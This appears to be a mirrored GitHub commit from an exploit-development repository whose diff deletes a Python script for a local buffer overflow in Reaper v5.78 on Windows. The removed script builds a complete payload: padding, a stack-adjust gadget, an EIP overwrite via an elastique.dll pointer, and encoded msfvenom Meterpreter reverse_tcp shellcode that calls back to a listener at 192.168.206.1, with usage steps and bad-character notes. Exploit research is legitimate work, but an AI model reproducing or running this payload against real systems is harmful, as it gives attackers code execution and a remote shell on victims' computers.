mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
update
This commit is contained in:
Paolo 'VoidSec' Stagno
@@ -1,128 +0,0 @@
|
||||
"""
|
||||
Full title: Reaper v.5.78 Local Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: https://www.reaper.fm/
|
||||
Version: Reaper v.5.78
|
||||
Tested on: Windows 10 x64 Pro v.10.0.18363 Build 18363
|
||||
Category: local exploits
|
||||
Platform: windows
|
||||
Usage: Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt"
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
import struct
|
||||
|
||||
poc=open("Reaper_5.78_exploit.txt", "w")
|
||||
|
||||
total_size=2000
|
||||
# | (1036) |
|
||||
# | (465) |
|
||||
# | garbage (37) | ESP-0x4264 (12); JMP ESP (4) | filler () | EIP (4) | filler () | shellcode () | filler () |
|
||||
offset_eip=465
|
||||
offset_shellcode=1036
|
||||
buf = ""
|
||||
buf += "A"*37 # garbage
|
||||
# sub esp, 0x4264 -> \x81\xec\x64\x42\x00\x00 has nullbytes
|
||||
# sub esp, -0x4264 -> \x81\xec\x9c\xbd\xff\xff has characters that will be translated
|
||||
# 0x76446c2c (b+0x00006c2c) : 0x2132 | asciiprint,ascii {PAGE_EXECUTE_READ} [windows.storage.dll] ASLR: True, Rebase: True, SafeSEH: True, OS: True, v10.0.18362.1 (C:\Windows\System32\windows.storage.dll)
|
||||
# sub esp, [0x76446c2c] -> \x2b\x25\x2c\x6c\x44\x76
|
||||
# 0x0642355a : 0x4264 | ascii {PAGE_READWRITE}
|
||||
# sub esp, [0x0642355a] -> \x2b\x25\x5a\x35\x42\x06
|
||||
buf += "\x2b\x25\x5a\x35\x42\x06" # ESP - 0x4264
|
||||
# 0x10042e5a : push esp # ret | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
|
||||
buf += struct.pack("<I",0x10042e5a) # push esp # ret
|
||||
buf += "B"*(offset_eip-len(buf)) # filler
|
||||
# must chose a pointer withouth bad chars and in the good-chars range
|
||||
# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
|
||||
buf += struct.pack("<I",0x1003111b) # EIP
|
||||
# 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760
|
||||
buf += "C"*(offset_shellcode-len(buf)) # filler
|
||||
# shellcode (max length 760)
|
||||
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest
|
||||
# length= 620
|
||||
buf += b"\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
|
||||
buf += b"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
|
||||
buf += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
|
||||
buf += b"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
|
||||
buf += b"\x6b\x4c\x69\x78\x4c\x42\x75\x50\x37\x70\x67\x70\x43"
|
||||
buf += b"\x50\x6e\x69\x59\x75\x45\x61\x6b\x70\x42\x44\x4c\x4b"
|
||||
buf += b"\x32\x70\x70\x30\x6e\x6b\x30\x52\x66\x6c\x6e\x6b\x36"
|
||||
buf += b"\x32\x64\x54\x6c\x4b\x32\x52\x54\x68\x64\x4f\x4c\x77"
|
||||
buf += b"\x63\x7a\x55\x76\x50\x31\x39\x6f\x4e\x4c\x45\x6c\x31"
|
||||
buf += b"\x71\x51\x6c\x54\x42\x46\x4c\x55\x70\x4b\x71\x68\x4f"
|
||||
buf += b"\x66\x6d\x76\x61\x79\x57\x59\x72\x6c\x32\x76\x32\x51"
|
||||
buf += b"\x47\x4e\x6b\x53\x62\x64\x50\x4e\x6b\x73\x7a\x35\x6c"
|
||||
buf += b"\x6c\x4b\x62\x6c\x34\x51\x64\x38\x4d\x33\x62\x68\x47"
|
||||
buf += b"\x71\x4a\x71\x36\x31\x6e\x6b\x56\x39\x61\x30\x47\x71"
|
||||
buf += b"\x69\x43\x6e\x6b\x30\x49\x62\x38\x6a\x43\x76\x5a\x32"
|
||||
buf += b"\x69\x4e\x6b\x35\x64\x4c\x4b\x63\x31\x38\x56\x56\x51"
|
||||
buf += b"\x69\x6f\x4e\x4c\x39\x51\x48\x4f\x54\x4d\x73\x31\x4f"
|
||||
buf += b"\x37\x64\x78\x6b\x50\x61\x65\x68\x76\x56\x63\x43\x4d"
|
||||
buf += b"\x6b\x48\x55\x6b\x31\x6d\x76\x44\x62\x55\x78\x64\x36"
|
||||
buf += b"\x38\x6c\x4b\x30\x58\x51\x34\x47\x71\x58\x53\x73\x56"
|
||||
buf += b"\x6e\x6b\x66\x6c\x52\x6b\x4e\x6b\x36\x38\x65\x4c\x43"
|
||||
buf += b"\x31\x6e\x33\x4c\x4b\x34\x44\x4e\x6b\x56\x61\x48\x50"
|
||||
buf += b"\x4f\x79\x77\x34\x66\x44\x46\x44\x61\x4b\x73\x6b\x65"
|
||||
buf += b"\x31\x53\x69\x63\x6a\x43\x61\x79\x6f\x4d\x30\x43\x6f"
|
||||
buf += b"\x71\x4f\x61\x4a\x6e\x6b\x56\x72\x78\x6b\x6e\x6d\x51"
|
||||
buf += b"\x4d\x73\x58\x56\x53\x30\x32\x37\x70\x77\x70\x53\x58"
|
||||
buf += b"\x33\x47\x74\x33\x36\x52\x61\x4f\x51\x44\x45\x38\x62"
|
||||
buf += b"\x6c\x73\x47\x75\x76\x55\x57\x4e\x69\x49\x78\x79\x6f"
|
||||
buf += b"\x7a\x70\x38\x38\x4a\x30\x65\x51\x75\x50\x45\x50\x47"
|
||||
buf += b"\x59\x69\x54\x56\x34\x46\x30\x62\x48\x64\x69\x6b\x30"
|
||||
buf += b"\x32\x4b\x75\x50\x79\x6f\x59\x45\x51\x7a\x74\x4a\x53"
|
||||
buf += b"\x58\x4b\x70\x6e\x48\x7a\x6e\x66\x61\x32\x48\x46\x62"
|
||||
buf += b"\x65\x50\x47\x61\x53\x6c\x6c\x49\x58\x66\x52\x70\x72"
|
||||
buf += b"\x70\x32\x70\x72\x70\x73\x70\x42\x70\x73\x70\x32\x70"
|
||||
buf += b"\x33\x58\x59\x7a\x44\x4f\x69\x4f\x59\x70\x39\x6f\x6e"
|
||||
buf += b"\x35\x4f\x67\x61\x7a\x66\x70\x62\x76\x33\x67\x32\x48"
|
||||
buf += b"\x4d\x49\x6c\x65\x71\x64\x30\x61\x79\x6f\x7a\x75\x4f"
|
||||
buf += b"\x75\x69\x50\x42\x54\x54\x4c\x59\x6f\x52\x6e\x63\x38"
|
||||
buf += b"\x30\x75\x58\x6c\x35\x38\x48\x70\x78\x35\x6d\x72\x32"
|
||||
buf += b"\x76\x6b\x4f\x7a\x75\x70\x6a\x37\x70\x30\x6a\x65\x54"
|
||||
buf += b"\x30\x56\x72\x77\x32\x48\x56\x62\x49\x49\x7a\x68\x61"
|
||||
buf += b"\x4f\x59\x6f\x5a\x75\x6c\x4b\x47\x46\x31\x7a\x37\x30"
|
||||
buf += b"\x52\x48\x37\x70\x76\x70\x63\x30\x47\x70\x51\x46\x53"
|
||||
buf += b"\x5a\x37\x70\x53\x58\x43\x68\x4d\x74\x71\x43\x4d\x35"
|
||||
buf += b"\x59\x6f\x4e\x35\x4a\x33\x56\x33\x33\x5a\x67\x70\x61"
|
||||
buf += b"\x46\x70\x53\x53\x67\x31\x78\x53\x32\x4e\x39\x39\x58"
|
||||
buf += b"\x33\x6f\x79\x6f\x49\x45\x67\x71\x69\x53\x45\x79\x7a"
|
||||
buf += b"\x66\x43\x45\x58\x6e\x38\x43\x41\x41"
|
||||
# ------ shellcode ------
|
||||
buf += "D"*(total_size-len(buf)) # filler
|
||||
# good chars
|
||||
"""
|
||||
\x01\x02\x03\x04\x05\x06\x07\x08\x09 \x0b\x0c \x0e\x0f
|
||||
\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
|
||||
\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f
|
||||
\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f
|
||||
\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f
|
||||
\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f
|
||||
\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f
|
||||
\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e
|
||||
"""
|
||||
# known badchars: \x00\x0a\x0d\x7f
|
||||
# everything above 0x80 got translated as follows
|
||||
"""
|
||||
,-----------------------------------------------.
|
||||
| Comparison results: |
|
||||
|-----------------------------------------------|
|
||||
|80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
|
||||
|e2 82 ac c2 81 e2 80 9a c6 92 e2 80 9e e2 80 a6| Memory
|
||||
|90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
|
||||
|e2 80 a0 e2 80 a1 cb 86 e2 80 b0 c5 a0 e2 80 b9| Memory
|
||||
|a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
|
||||
|c2 a0 c2 a1 c2 a2 c2 a3 c2 a4 c2 a5 c2 a6 c2 a7| Memory
|
||||
|b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
|
||||
|c2 a8 c2 a9 c2 aa c2 ab c2 ac c2 ad c2 ae c2 af| Memory
|
||||
|c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
|
||||
|c3 80 c3 81 c3 82 c3 83 c3 84 c3 85 c3 86 c3 87| Memory
|
||||
|d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
|
||||
|c3 88 c3 89 c3 8a c3 8b c3 8c c3 8d c3 8e c3 8f| Memory
|
||||
|e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
|
||||
|c3 a0 c3 a1 c3 a2 c3 a3 c3 a4 c3 a5 c3 a6 c3 a7| Memory
|
||||
|f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
|
||||
|c3 a8 c3 a9 c3 aa c3 ab c3 ac c3 ad c3 ae c3 af| Memory
|
||||
`-----------------------------------------------'
|
||||
"""
|
||||
poc.write(buf)
|
||||
poc.close()
|
||||
Reference in New Issue
Block a user